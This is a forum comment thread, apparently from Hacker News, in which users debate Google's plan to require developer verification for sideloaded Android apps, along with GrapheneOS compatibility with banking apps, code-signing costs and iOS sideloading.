I mean, the epic games lawsuit specifically involved sideloading. There's still ongoing litigation in one of those suits. Playing fortnite isn't exactly a niche or power user thing.
Still is, all of those Chinese ROMs/phone manufacturers thriving because of this. The Chinese phone market would literally be non-existent if it weren't for the ability to run binaries outside of Google Play.
I Disagree, You could find an iPhone at any price brackets. even $100 you could get an iPhone 7, which is still useable for basic task like light web browsing or streaming media.
Unfortunately, it's not a differentiator at all in the market. Not to enough consumers that it remotely matters. For our niche nerdy subculture it's extremely important, but essentially nobody in the grand scheme of things even knows that binary is a thing that exists.
I wonder if, as newer generations grow more tech literate, the demand for this will rise and every OS maker will end up shooting themselves in the foot.
This is the same direction that Microsoft is taking Windows. Smart App Control is already rolling out to some regions - no .exe will run without a code signing certificate.
It requires a code signing certificate from one of the trusted central authorities, and generally as an individual you must have your legal name on the code signing certificate. It's not pseudonymous.
I really wish Microsoft made it cheaper to get a certificate. With Apple you pay $100 a year for any number of certs. Last I looked into it a cert for a single Windows app costs $400+ per year and requires a hardware token.
The setup is the most insane stupid stuff I've dealt with in a while. I am currently waiting for them to agree that my DUNS number is real, and they made me remove the WHOIS privacy from my domain name to verify that my address is associated with it. The billing receipts from my host were insufficient for reasons they couldn't explain. Had to upgrade to the $30/mo and then the $100/mo support plan just to speak to someone and it's been 4 weeks without movement. But hopefully it will be worth it in the end, the EV certs are crazy expensive and don't even remove smartscreen warnings anymore.
Ugh, sorry to hear that, yeah the whole setup process is just so insanely frustrating. I'm really dreading having to re-validate my identity documents once they expire.
For what it's worth, in my experience it was even worse with EV certs though - all the same steps including removing WHOIS privacy, plus some extra ones like voice phone number validation that had to be repeated every single year.
And then there were extra WTFs with the EV cert expiration being 365 days after an issue date which is several days before you actually receive the hardware token. Or one year they sent the hardware token fairly promptly, but forget to send the password needed to use it, and it took a week to get a response from support etc. Then again, Azure Trusted Signing has similar ridiculousness with billing being based on calendar months, with no proration for your first month even if you started at the end of the month... I mean it's just $10 but it really adds insult to injury after that signup gauntlet.
Anyway, I've heard that if your Azure Trusted Signing process gets stuck in limbo, it can be best to submit a different document, but I'm not sure if there's any alternative permitted for the DUNS step. That's especially annoying because trying to update outdated info with Dun & Bradstreet is problematic in my experience, i.e. their web forms just plain did not function properly.
Yeah I was with Comodo before and it's like you said. I thought Azure signing was going to be a breeze because I've had my Azure account for years. I submitted with both EIN and DUNS and then they said I can't submit any more validation requests for this "property", so that's why I went the $100/mo support plan to get a human somewhere to click a button and approve this thing.
I think this might backfire in that it might be enough to prompt technical people to seriously start looking for alternatives.
I personally will be extremely unhappy if I no longer can run dns66, newspipe or Firefox with ad blocking on my phone.
I think I might also start spending less time on my phone, which would be a good thing for me and a terrible thing for Google (in aggregate of course).
The problem is that Google has exactly zero products that it gives a rats ass if you pay for. Google is, was, and always will be an advertising company. Users aren't the customer for Google, they're the product, and frankly the knuckle-draggers that mindlessly consume everything Google makes without any care to a not-so-slow slide into tyranny are far more valuable advertising targets than you are.
Online advertising is a whale hunting game. There is a subset of society who genuinely are so suggestible that you can convince them they need a new truck with an online ad. They are largely a disjoint set from people with strong opinions about anything, never mind the subset of those who care deeply about the freedom to modify their devices to suit our interests rather than those of the megacorps.
I've grown increasingly hateful towards both my Android and iOS devices over the last decade. The platforms themselves are increasingly user-hostile, and their appstores are crammed full of shitty, privacy-invading, telemetry-hoovering, dopamine-triggering, ad-filled, lipstick-covered apps that are often garbage compared to the pioneering days of mobile. I miss the days of my old Palm Pilot.
Is anyone working on fixing this? We can do so much better.
If an alternative, privacy-focused OS like Graphene can support contactless payments (universal, like Google Wallet does it, not having to install an app per bank or card), and can 100% reliably get around apps requiring SafetyNet (or whatever they call it now) attestation, then I'd start using it.
I'd also need an alternate, safe source for common apps like Uber, Lyft, Slack, Kindle, Doordash, my banking/credit card apps, and a host of others that I use regularly. (And, no, "just use their website" is not acceptable; their website experiences are mostly crap.)
Way long ago I used to run CyanogenMod on my Android phones, and it was trivially easy to get every single app I needed working. Now it's a huge slog to get everything working on a non-Google-blessed OS, and I expect some things I use regularly just won't work. I hate hate hate this state of affairs. It makes me feel like I don't actually own my phone. But I've gotten so used to using these apps and features that it would reduce my quality of life (I know that sounds dramatic, but I'm lacking a better way to put it) to do without.
For those watching this stuff, there are two other promising paths using ZK-proofs which might disarm the tradeoff situation we've been stuck in. Banking apps etc aren't willing to eat the liability of devices that are rooted or running alternate OSes, and Google's been banking on the exclusivity that brings from being both hardware and security provider.
Path 1: a ZK-proof attestation certificate marketplace implemented by GrapheneOS (or similar) to prove safety in a privacy-securing way enough for 3rd party liability insurance markets to buy in. Banks etc can be indifferent, and wouldn't ignore the market if it got big enough. This would mean we could root any device with aggressive hacking and then apologize for it with ZK-proof certs that prove it's still in good hands - and banking apps don't need to care. No need for hard chains of custody like the Google security model.
Path 2: Don't even worry too hard about 3rd party devices or full OSes, we just need to make the option viable enough to shame Google into adopting the same ZK certificate schemes defensively. If they're reading all user data through ZK-proof certs instead of just downloading EVERYTHING then they're significantly neutered as a Big Brother force and for once we're able to actually trust them. They'd still have app marketplace centrality, but if and when phones are being subdivided with ZK-proof security it would make 3rd party monitoring of the dynamics of how those decisions get made very public (we'd see the same things google sees), so we could similarly shame them via alternatives into adopting reasonable default behaviors. Similar to Linux/Windows - Windows woulda been a lot more evil without the alternative next door.
All of my bank apps work fine on graphene. I'd switch banks if their app stopped working, not stop using graphene. I stopped using Google wallet, I don't miss it enough to justify using stock android. For other apps, I just put them in a separate profile that has good play installed/configured. It really wasn't bad. The worst part is wiping your phone to install graphene the first time, I prefer just to get a new device for it so I can move stuff over
How do you access banking and other sensitive apps? If the answer is, you don't, well, you can see how that's a non starter for the vast majority of people.
This is a good start! I think we need something like a ProtonDB for this sort of thing, but that covers all apps, not just banking apps.
I do see five banking apps I use listed there as working, which is great. But -- and maybe I'm being unnecessarily overly worried about this -- what about the future? What if I've been using Graphene for a year or two, and one of the ones that's critical for me changes how they operate, and Graphene no longer passes muster as a platform it will run on. I'm not afraid of this happening at all running Google's stock OS image, but once I do my own thing, I get to keep the pieces when it breaks.
I love how so many of the responses in this thread are "it works for my particular bank" or "my bank's website is good enough" or "I'd only need it to deposit checks, but I never need to do that"... as if those are actually helpful responses to this general problem.
Many many people have banking apps that will not work on non-Google-blessed devices, use banks that have mobile websites that are terrible, and need to do mobile check deposits (which is usually only available in the app, and not the mobile website, if the bank even has one). And no, we're not going to "change our bank".
The reality is that there are so many things that break, sometimes in subtle ways, when you try to use an alternative Android OS. Some people may not have any problems, and that's great! But many -- I would dare to say most -- will.
And there's also a ton of uncertainty: I don't really want to wipe my phone, install GrapheneOS, spend hours messing with it and setting it up, only to find that something critical doesn't work, and now I have to flash back to the stock OS, and hope I can restore everything the way it was.
There's bound to be tradeoffs between scrappy open source communities and trillion dollar industry behemoths. The fact that it's this close of a call is pretty amazing. And really you can blame your bank for not making a usable mobile site. A lot of businesses like to force users into apps because it helps with engagement metrics, not because there's any functional benefit.
Its not even a matter of tradeoffs - banks just suck major ass so, of course, their piece of shit apps are extremely fragile and only work under just the right conditions.
That's not any OS' fault, that's banks fault. That's been my experience with every bank I've used so far and yes - they often break on certified OS' too! I've been on the phone with support!
Because they make bad software, period, and we're all just forced to use their bad software.
This is probably the only real solution. It also makes sense from a getting mugged or breaking your phone perspective. At this point, my phone is probably more important than my IDs and passports.
Is that a jab at grapheneOS ? Because thats just another thing that google is borking up. And a little bit more so the banks themselves.
GrapheneOS is the way that all phone operating systems SHOULD be made. Layers and segregation between your banking apps and all the privacy breaking trash and malware you can get off the app store.
It is the banks and google making weird rootkit shit to try and lock down things that is the problem here.
This is quickly disappearing as an option as well. I need my bank app to authenticate even when using a web browser on desktop. Luckily my banks app still works on GrapheneOS, but I suspect it's only a matter of time before they disable that because of "security" reasons.
What bank is this? No bank I know /requires/ you to use a mobile app for anything; the web is enough. 2FA can usually be done via email, SMS, or a google-authenticator-compatible app.
They have a nice web app, but you must use their mobile app to login on the web version. The app takes a video of a QR code on the web page during login. Web login completes as soon as the mobile app notifies the server. There's no 2FA code to enter, and no alternative.
I asked them about this, by phone call, when my phone screen broke and I urgently needed to make a transaction. Surely there as an alternative? Or could I do the transaction by phone call?
They told me that indeed there is no other option. Despite having phone customer support, they had no phone or web banking service at all which could be used without a registered mobile device. The only phone service they could perform was to register a new mobile device, which I didn't have. I had a tablet, but it was too old.
So I had no good choice. The Android phone I'm using right now was bought in a hurry just so I could be allowed to make a bank transaction.
It wasn't my first choice of phone. I didn't have time to investigate alternative devices, let alone weigh up open alternatives. I ended up buying a mid-range device under pressure that seemed ok and was available in a store without waiting. (It was a brand new Samsung, and despite the IP rating it got water damaged and stopped working entirely after a few splashes a year or so later, but I was able to get it repaired.)
I should say that I'm not from the US, so that might be why you haven't heard of it.
There is also an alternative for now, but nothing as simple as SMS or authenticator app. They give you a special credit card shaped card with a card reader that you can use to authenticate with using your PIN, which is mostly considered legacy now with the bank app. It's also not realistic to be carrying this thing around everywhere either as it's bigger than my phone.
There is also a national ID app that is used everywhere that I'm worried will stop working on GrapheneOS... Because without it I won't even be able to access online government services like healthcare, taxes, etc.
I don't know the bank they are referring to, but I can cite an example for me: RBC Royal Bank of Canada requires the mobile app. There is nothing you can do on their website without first 2FA via their specific mobile app, and even then only in limited transaction sizes. If you want "full access" (e.g. up to $10k daily transfer via e-transfer) then you MUST use biometrics and the mobile app.
Unfortunately I have checks to deposit every couple months. And my bank has no physical presence, so the only way I can do it is through the mobile app. (They also accept deposits by mail, but I'm a little wary of that; a lost check would be a huge hassle.)
They don't all work, though: too many crank up the settings on google's various 'integrity' checks and will fail on anything that isn't 100% google-blessed. (Which is insane, because that's all that's required: on a previous phone of mine, it worked fine with a stock ROM with a bluetooth-based RCE, but upgrading to a custom ROM would have meant it was 'insecure')
My credit union app already wants 24x7 GPS tracking of my location and full access to my camera at all times and full access to my collection of photos, so the app is already dead to me anyway. Demanding that I use it on a locked down device isn't going to change anything for me, I'm already actively not using it. I use the website on a desktop, I rarely need to access my CU at all much less access it remotely.
Given the large amount of battery and bandwidth already used to track my every move, I wish there was something like "Docker for phones" where I could enable and disable 24x7 full access to my every action IRL.
"Many other devices are supported by GrapheneOS at a source level, and it can be built for them without modifications to the existing GrapheneOS source tree."
How is GrapheneOS / SeedVault looking these days in terms of being able to capture reliable backups and restore them to another device (without using the cloud)?
I gather the introduction of the android:allowBackup="false" manifest flag complicated things somewhat... I thought I read since then that a Device-to-Device (D2D) impersonation mode was implemented, and would love to hear if that helped?
Side note, I read that GrapheneOS project is having some challenges recently.. between [0]the Android kernel drivers no longer having their Git history of changes being released (only a code dump with no history) - and [1]one of Graphene's two core contributors being detained/conscripted into a war.
Vollo from German is one https://volla.online/. They sell a nice set of devices that run either a custom Android or Ubuntu Touch. Their custom Android has a nice bunch of UI and privacy features.
Another one is https://murena.com/ which (IIRC) is based in France. They don't have their own hardware though, they sell partner phones with their ROM preinstalled.
For once Fairphone never updating their phones will work in our favor! If Google roll sthis out in early 2026, anyone with a Fairphone can rest easy that they won't receive that version of the operating system until mid-2028 at least.
Fairphones are also LineageOS and postmarketOS compatible, both options are without tracking and without Google's mandated policies.
LineageOS without gapps is really usable if you set aside the "big" social media apps. WhatsApp can be sourced from their website as an APK. The social apps like facebook, instagram, snap, tiktok and others all require Google Play's tracking services (aka gapps).
For YouTube there's multiple better alternative open source apps available, and mastodon, amethyst and the fediverse apps on f-droid are far superior in terms of performance to the Google Store alternatives.
I have Android 15 on my work phone and 10 in private. I don't really see the difference besides that they've made it more annoying to turn wifi off (requires an extra tap now, first the general internet menu and then a small slider for wifi or mobile data). Genuinely not seeing any significant changes from a user point of view (I'm sure there's lots of new SDKs for the developers, but while I've made apps before, I'm not a mobile dev keeping up with the latest things)
That Fairphone has 13 just tells me they don't waste employee time in their small business on useless upgrades just for the sake of it. Their point is fair wages and ethical mineral mining: better that they have a workable phone without even more fluff, it seems to be tricky enough already in this world :(
Right, that is nice to have, though in this case the hardware would also have to support it which an older phone that didn't ship with Android 15 won't have
I'm talking about things like T-mobile's starlink texting. The only hardware requirement is supporting eSIM, which Fairphones 4 and later do. It uses standard LTE.
The sole blocker preventing someone with a Fairphone 4, 5, or 6 from sending text messages via satellite is that they are not on Android 15.
The crazy thing is this is all under the pretense of preventing malware. And I constantly hear this argument that the app stores protect people, even from developers.
I truly don't get it. Are these people from 2009? Have they seen the apps on the current app stores? If you're lucky your highest rated flashlight app will only have a few Fullscreen ads and a subscription less than $10/mo. The recipe sites from content farms are less bloated and way less scammy.
It's certainly not about preventing scams. It's about preventing competition in the scamming business.
... and that pales in comparison to the billions stolen via malicious actors on certified software. Lol.
I don't need to sideload a fucking fake bank app to steal your money. Get real. This isn't how most fraud or scams are done. Grandma isn't gonna install a fucking unsigned binary on her android phone. But she IS going to give out her password.
> According to its own survey, Google says that more than 50 times more malware came through internet-sideloaded sources compared with Google Play, where it has required developer verification since 2023.
50:1 is not preventing. It is just "well, we are better than nothing"
I'm pretty sure there can be other curated stores that can serve the customer¹
[1] customer: owner of phone, not advertisers, data merchants, etc
I regard Google highly in many domains, but this needs independent research. There is just waay too much opportunity to misuse data to paint a picture of themselves as the protectors. Especially curious about their definition of malware, because to me the app stores seem worse than browser toolbars from the 2000s.
It also shows how bad Google is at preventing malware in the Play store. There are far more than 50x more installs from the Play store than from side loading, which means that most malware is installed through the Play store, despite the much lower barrier to entry for side loading.
I tried to screenshot some app on my android the other day and got an error toast reading some bullshit like "this action has been blocked by the admin." Uh I'm the admin and this is my hardware... The sketchy app was trying to prevent screenshots.
It's also super nice to take notes on the fly for OpenStreetMap with StreetComplete, for holding the device up to the sky and it tells you what planet is so bright in the sky, for navigation... These things don't work on a laptop. Even if you want to carry a full-sized system in place of a smartphone, or use Ubuntu Touch, I'm not aware of software to do these things in the convenient way that Android apps let you
Of course, that's a software support issue and not a constraint imposed by the OS. Someone could make Stellarium desktop work with an orientation sensor. It's just that nobody has done that particular thing, as well as a million other things that work super well on mobile
So is it second-class, or is it just a way that is optimised for output rather than input? You get the turn instructions presented to you, you can watch videos and listen to music, note-taking is optimised to work with a few taps and is reduced to the essentials you need. You can work them out later on computer if you have time at home over of course, but at least you can contribute that way with ease
Heh, I've always done this. Maybe if every mobile dev made sure I could find text like I can in a browser I'd be less strident. But really, I need a very good reason to install stuff.
I'm right there with you. These platforms are cancer. There's a small but growing movement away from smart phones. It'll probably never go mainstream, though.
I think before we can fix all that we need to revert the renting of software via subscriptions and go back to one-time-payment. But people are too greedy for that.
The entire developer experience was fantastic and the thing that killed it was a lack of desire from the upper leadership when it felt like they couldn't compete with the duopoly.
Did you have a wince app? Too bad, throw away all that and rebuild for wp7.
Do you want do anything useful? Actually, you better wait for wp7.5.
Oh look, we have a totally new thing with WP8. Upgrade to the newest framework so you can use the WP8 features... Oh, but you still need to build for the old framework for WP7. Hey, how about WP8.1, kind of the same deal.
My personal favorite though was WM10; you now need to build a Universal app that only runs on the very small number of WM10 phones... If you want to run on WP7 and WP8 which still have more sales, a universal app doesn't run there. Also, even though we said WP8 phones would be able to upgrade, either we changed our mind, or the experience is so bad most people won't. And the cherry on top... Users who upgrade from 8 to 10 might need to delete and reinstall the app, otherwise it will just show the loading dots.
Did we mention, we decided we didn't need engineers in Test in the run up to WM10? Couldn't possibly be why the release was terrible.
It's incredible that by the end of it, the WM rollercoaster made us actually miss WinCE. If you had have told us that initially none of us would have believed you. WM had so much potential and was just totally botched.
Start complaining to your government about every shitty thing the apps and OSes do, and tell your friends to do it too, eventually we may get some action on it.
We are all mildly annoyed and therefore mildly motivated to fix the problem. Apple and Google are extremely highly motivated to retain the status quo. I still try to vote with my wallet but it's going to be hard to counter their well-funded lobbyists.
I cut my teeth on commercial b2c & b2b app dev/sales on Palm OS from the age of 14. It was sad but now I'm a full-time bootstrapped iOS dev thanks to that experience.
For what it's worth, Venmo will not get access to your biometrics data, it's a black box in which you specify a desired level of authentication and the OS just returns ok/not ok.
It is, however, to make you use Venmo more easily, thus more often, thus spend more money through them.
I had to do a government ID upload and a live face scan to install my banking app on a new phone even though I had other devices I could have used to authorize it. It made me want to switch banks, but where do you go?
If your businesses idea doesn't work without you being evil, you deserve to go bankrupt. I perceive a tendency to assume it is necessary for a company like Google to maintain full control over our ecosystem to further our progress and maintain order. However, we should know by now that this isn't the case. You don't have to be evil to be useful. See GNOME, GrapheneOS, Steam, KDE, Wikipedia, Linux or Mozilla (previously). Tricking us of their inevitability is their greatest success.
It's so funny to me that they think that forcing power users to cave in is going to bring in more money. Heck I will stop paying for Google Workspace and move my shit to Apple rather than pay for YouTube premium or watch YouTube ads.
I don't think it's about money anymore. These last few years we've seen governments, corporations, lobby groups, and the rich really starting to clamp down on authoritarian measures primarily centering around eliminating digital freedoms.
I think we might be past the stage of capitalism where the evil was merely incidental to the pursuit of profit.
Their business idea works great while not being evil in any new ways beyond what they were already tolerating with advertising. No, this particular brand of evil is so much more offensive, because they're just in it for love of the game.
Google is doing everything in their power to make me move to an iphone... between shit like this, effectively bricking some old models of pixels with un-rollbackable patches that destroy batteries, closing down the android development process, making absurd testing requirements to publish apps, etc.
Google doesn't make better phones, they were just less hostile to the consumer. That seems to be going away :(
I'm aware, I'm saying Google is trending towards being as abusive with their software practices as Apple already is, not worse.
And saying that for me anyways the only reason I have an Android and not an IPhone is because they were less abusive. On unrelated metrics like hardware quality Apple generally seems to do better.
Apple's hardware quality is pretty solid. Using Apple's software is basically an exercise in being a sub.
I have a stroke everytime I try to navigate settings on a iPhone each time someone asks. It's like they don't want you to try and change anything, ever.
Precisely. If I can't control what I put on my Android phone anymore, I no longer have any reason to use an Android. iPhones have normal USB ports now, and that was the other big barrier.
If both systems are similar in terms of features and freedom, then I might as well choose the one that tracks me less and offers a more polished experience.
In the high-end smartphone market, using an OS from a giant ad company is already a compromise for freedom. But if that freedom vanishes, why bother? Apple's hardware and software outclass Google's. And with E2EE for cloud data, I'd at least stop compromising.
Yep, available to anyone. It's much more restrictive though. Basically you need a valid developer certificate to sign apps. You can use your own with a free developer account but you only get so many tokens per week and apps need to have their tokens refreshed weekly.
You can also use an enterprise developer certificate that lasts forever but if Apple revokes it then the app stops working until you get another working cert.
It does require you to turn on iOS developer settings by connecting to a Mac with Xcode installed to enable but then you can manage app installation and refreshing via an App Store like Alt Store. EU has different system where there is no limit on amount of sideloadable apps but the apps still need to be approved by Apple. Alt Store also have a EU specific App Store for that purpose.
I side loaded on iOS for a long time. Get Youtube++ for ad free and I forget the Reddit client I used that was side loaded as well. You can run the server on any PC or Mac that will handle side loaded apps and being on the same WiFi network allows the server to automatically refresh the installed apps. Only big downside is updates are not automatic or simple. To update an app you have to download the new app .ipa and then sign it like you were installing it fresh. Usually it picks up the existing configs and data though. So it's not a full app wipe.
The sideloaded subreddit is where I got into it through.
In legal jurisdictions where Apple is forced to allow it, yes. They have a similar scheme for requiring developers to register and are demanding per-install fees for popular apps, though I'm not sure that will survive regulatory scrutiny in the EU.
Otherwise, I think it's possible to use developer tools to temporarily install apps on an iPhone. IIRC this requires a Mac and has to be repeated every few days.
Worth adding on there are methods to update signatures, altstore being one example
Although using their app to help automate that then takes up one the app slots for free accounts
I was way into the Cydia/Jailbreaking scene back in the day. These days, I find it hard to care about being able to do weird stuff with my iPhone. I just care that it works well.
Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?
Leaving Google for Apple, and expecting a more open app store, is going to be disappointing. I’m not a Google fanboy by any means, just pointing out the landscape out there
Apple throttled devices that had a weak battery, because the alternative is the CPU trying to draw more power than the battery can deliver, the voltage sagging, and the phone rebooting.
By itself, this throttling is a good thing and keeps phones usable for longer, because a phone that is slow is better than a phone that randomly reboots.
The problematic part was that they a) didn't disclose it, and b) did this for phones within the warranty period, so instead of the phone visibly crashing and you returning the obviously broken phone, it just lost performance which you might not have noticed in time to get a free replacement.
The Nexus 6P had the same issue with random shutdowns, and although Google refused to do anything about it some users on XDA developed a patch that disabled all the performance cores completely.
> XDA user XCnathan32, along with assistance from two other users, created the fix and put it up for anyone to give it a whirl. Without getting too technical, the fix shuts down all four of the Nexus 6P octa-core Snapdragon 810 processor’s performance cores that seemingly prevent the phone from properly booting
Funny how no one really complained about the random reboots but everyone noticed throttling and assumed their phone was "too old" and they needed to buy a new one. Interesting how this move greatly benefited apples bottom line versus improving actual quality of life for the user considering a reboot is 30 seconds perhaps and a slow phone is slow for every second you use it.
> Funny how no one really complained about the random reboots
People definitely complained about the random reboots, especially on the Nexus 6P, since that phone wouldn't boot again until after it was connected a charger plugged into a power outlet.
Heaven forbid you had a medical emergency away from a power outlet with a phone that unreliable.
OK but if an iphone reboots randomly it just restarts. They still reboot randomly to this date or at least mine does with presumably the modern throttle patch. It is a non issue because you are back in action in 30 seconds or so.
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery
It wasn’t guise, it actually increased the battery life quite much. People complained about the battery of old phones. The problem was that users did not have choice to opt-out.
There was the opt-out part, but also the complete silence around the issue that comforted people into thinking they needed new phones every 2 years instead of just replacing the battery.
Apple wouldn't have had to do all the song and dance if from the start a popup warned the users their battery lost capacity and should be serviced.
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?
It's not about 'saving battery' its about preventing undervoltage that janks everything up.
Having dealt with more than one windows phone that didn't have this feature or had it in a bad way (i.e. 520/521 would just 'reboot', 640 and 950XL would just kill an app) I wish Microsoft would have figured that crap out lol.
No one is expecting Apple to be more open. It's just that the reasons for choosing Android over iOS have been slowly chipped away over time, and soon enough there won't be a big reason to choose one over the other.
No, the batteries had degraded to the point that they could not supply enough voltage and current to stably run the chip at full frequency. Replacing the battery would restore full performance.
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?
Nope. There was an issue in iPhones and Nexus phones that had been used for a few years where a worn battery could no longer maintain a voltage high enough to meet instantaneous SOC power demand, resulting in unexpected device shut downs.
Apple got the device to quit shutting off without warning by throttling older devices and Google did nothing and just told users to buy a new device.
They both got sued, and both lost.
> If you currently or formerly owned a Google Nexus 6P smartphone, we have some good news: you might be eligible for a cash rebate for those bootloops and spontaneous shutdowns the device was known for.
It's not a bug or issue with those phones, it's how batteries behave -- over time, they lose both their capacity and the power they output. Apple decided to throttle their phones via software instead of letting them crash.
I've said this before, but it was the right idea executed the wrong way. iPhones give you a warning when they overheat, and this throttling should have gotten a similar warning with a link to an FAQ explaining the battery dynamics.
I'm thinking it's time for a 2nd phone (in my case old one from cupboard) to become the regular daily GrapheneOS enabled driver and then keep a modern Google(tm) updated one at home for all the "official crap" whenever needed. That way I can also separate banking / paypal / etc. from my carry phone with all it's various apps that I trust to varying degrees.
This was the first thing that crossed my mind. If it’s not too much money and hassle I could buy a second device for GrapheneOS and tether to the cheapest phone I can get for the official ecosystem.
Really though, it doesn’t have enough impact for consumers. If I get unfairly banned as a developer, no one even notices because that’s nothing more than an opportunity for another developer to step in.
Those are the moments I am starting to fantasize about starting a customer protection group that is sufficiently committed to follow through on organizing boycotts. Naturally, reality hits once you see average human on the road ( on a highway, full speed ). We might be lost a species.
Well, in a sense it's the Milgram experiment ratio (roughly 2/3rds will go along with whatever those in authority say). I have personally gone from being discouraged about that factoid to simply being intrigued.. A very early example of the awareness of this situation would be the concept of the wide vs narrow gate from Jesus' Sermon on the Mount.
I wonder if you could keep your "snitch" android phone home by instrumentalizing it, enabling you to access it remotely on your main linux/degoogled android phone. It might not even be that outrageous of an idea since there are tons of botfarms that are essentially stacks and stacks of legit phones being remotely controlled... the tech might be there already, just need to adapt if for something good...
How likely is it for google to deny access to all or most of the apis that makes this possible? Then you need to point a camera to the screen, mike the speakers and so on...
Not for me at least, 3DS requires approval in an app on my phone. I'd love if the banks just used TOTP instead but no, I have to use their app, some of which don't work with an unlocked bootloader, so I have to have stock android
I just got a letter from my bank stating this. Website is going away, app only access. It's very disappointing, for security I never have any banking access on my mobile devices
So people from countries US has sanctioned can't even develop and use mobile apps anymore. This will change millions of innocent lives. So unfair and racist. The reason my people are in this mess in the first place is a US coup.
I once had a colleague from Iran. Working (legally) in the middle of the EU. He was already blocked from using credit cards, but thanks to not-100%-US-dominance still allowed to use local banks. For such local banking he will likely need to have Play services.
It's not countries that are affected, but people. And people sometimes move.
Oh, no! This is the least thing I expected to see as the #1 in Hacker News' front page!
This is a plot twist I never thought it would happen. While the EU [1], Japan [2] , UK [3] and Australia [4] are in the process of forcing Apple to allow sideloading and alternative App Stores, Google, which was far from these obligations, had taken a totally unexpected road to limit/control how sideloading should work.
Time for a Steam Phone. Or FirefoxOS reloaded. The general purpose mobile computing market must be sizeable. I cannot believe everybody just puts up with these increasingly draconic restrictions.
I think a big problem is that the users have been trained to accept the status quo. I mean back in the Feature phone days we would share Java phone games at school via Bluetooth. I’d assume kids these days generally don’t anymore.
Also, due to the cost of physical media piracy was rampant even amongst boomers. People knew and had the option to buy a dvd player that could play video cd because that’s how movies were ripped.
Even during the early iPhones we were so stripped of even basic features that a jailbreak was 100% required if you wanted to even basic things like taking videos or changing the Home Screen background.
None of this is necessary anymore. The users gets the phone and it just works from their perspective at least.
So who is going to try to run a business off of nerds like us who want to have this sort of control over our devices (I’d call it freedom but the average user doesn’t feel unfree)?
> we would share Java phone games at school via Bluetooth. I’d assume kids these days generally don’t anymore.
I am both happy (from a user-friendliness point of view) and sad (from a "works offline" perspective) that F-Droid's share button now shares a link that will show them info about the app with an option to install the software, instead of the share button directly giving you an APK file with no way to link someone to the 'store' page. I'd personally still know how to send people APKs via hotspot or bluetooth (such as for peer-to-peer voice/message apps) but a lot of people won't
This move from sending each other software to sending each other links to centralized platforms has been long ongoing. Most messaging systems don't allow you to send executable (.exe, .apk, .sh, etc.) files anymore. And I believe that virtually all of them individually do it for your own good, but the combined result is a societal shift
I don't blame Goggle. Apple escaped anti-trust by simply not allowing anyone except themselves to put software on iPhones. Seriously, Apple doesn't allow competitors so it can't be anti-competitive according to the case.
Totally brain damaged ruling, the judge must have been molested by an Android phone at some point, but here we are, and google is now moving closer to an Apple model.
> developers will have the same freedom to distribute their apps directly to users through sideloading or to use any app store they prefer. We believe this is how an open system should work—by preserving choice while enhancing security for everyone
I guess words don't don't have meaning anymore, how can you claim to have an open system in an announcement about closing it down?
It's also telling that the big supporters of this are apparently corporations and governments. Admittedly I don't know what "Developer's Alliance" is but they don't seem to care about developers very much, and I wouldn't surprised if they were just a "pay us to say what you're doing is good for devs" kind of thing
> developers will have the same freedom to distribute their apps directly to users
You have here Google making a statement it can't actually fulfill and one that it knows it can't fulfill. So Google is willfully lying here.
The minute Google has a technical capability to control what applications run on Android it's out of their hands. It is in the hands of courts, governments, dictators and authoritarians. That's just the nature of the world - Google has to obey the law and Google doesn't make the laws.
I guess it sounds hysterical, but in that sense, this is an absolutely massive loss of freedom for the entire planet as communication power that rested with individual choice is now transferred wholesale back to governments by this decision.
The Developer's Alliance address is a coworking space in Washington DC, if you want to rate the likelihood it's just an astroturf for public tech policy wonks.
As a developer of android apps that get distributed outside of the Play store, a Google identity verification system sounds like a nightmare. What if I'm deemed to be politically incorrect? Will Google brand safety exclude me?
It's actually your telco's phone. They're the one that has the license to run the baseband computer and RF transceiver. The 'pad' computer device is sort of yours. But there's no legal way to have ownership of a cell phone unless you yourself bid for and get the RF spectrum and set up your network in a way that accomplishes the FCC coverage and timing requirements. Then run your own telco for your phone. Basically, impossible.
Smart phones try to limit and firewall the interface between the two but tight integration is required for energy efficiency. So a smart phone, or a cell phone, can never be yours. They aren't good choices for doing computing and this legal reality is becoming more and more obvious with time.
Looking at what's been going on in the E.U. vs. the U.S., it seems pretty clear that one of the only things companies this big, with this much control over the markets fear is regulation.
Maybe people live in a country where adding new regulations is difficult at the moment. In that case, push at for it at the state or province level. Push for it wherever you can. Suddenly these companies have to figure out how to work around 50 different state level laws? Painful. Good. Make it hurt to be evil.
People need to come together and push for regulatory roadblocks to things like this at every level. I think that's part of how you keep control of your own property and stand up against it.
You paid for the phone with the OS as a contributing factor (alongside the hardware) to the purchase no doubt, so the OS in itself must be compelling to you for some reason.
You didn't fund the development of the OS, contribute to it (presumably), you didn't market it or position it alongside your brand.
I'd agree with you if you said you have a right to run anything on the hardware under a different OS, but you have no god given right to run whatever you want on the OS.
These days I don't really want a smartphone at all, but begrudgingly use one for things like mobile banking, receiving SMS tokens, etc.
If someone made a screenless powerbank-shaped Android device, I might be interested. The device would double as a 5g wifi modem, and to access the UI you'd remote in over VNC from a laptop, or unrestricted mobile device like a PinePhone.
I'm using a tp-link M7000 with 4G, for SMS and wifi modem. A simple http page for send and receive SMS. I use the API to have my ZigBee gear SMS me.
I showed my dumb-phone to my bank and asked if I needed to close my account, suddenly card reader was still available as an option. If it becomes mandatory, they can buy me a phone.
It should not become the rule that we need a spy-phone, or any other BigTech services to take part in society. So I make my life hard work to defend that principle.
Hence I am hacking away with Zig on the PinePhone, since it has some nice hardware switches for switching off modem/GPS mic etc. But the modem itself is still a blackbox, so there will always be trust issues there.
The set up I run consists of an older 5g phone that hospots to my other phone, no apps of consiquence on either phone, I sign into my email through web mail, and sign into banking through a browser, all of my apps come from fdroid and similar, mostly used for media, manual updates for those through the fdroid web site.
As to the device you mention, it should be possible to take a phone apart and spoof* all of the mic's and cameras, likely the gps, and haptic motor and speakers as well, and have a 5g touch screen modem with plain internet, or keep the speakers and it's a media device, or put all the audio on a micro switch.
* use matched resistors, or black out the sensors
detach the antena for gps
lets just say I realy dont like bieng advertised to
Except it's the opposite - In the past we had a dropbox-like solution in the form of "just buy a pixel". That is no longer fit for purpose, so we're back to cobbling things together. Perhaps a more streamlined commercial offering will exist in the future.
I predict Windows will end up going this route before Google backtracks on it.
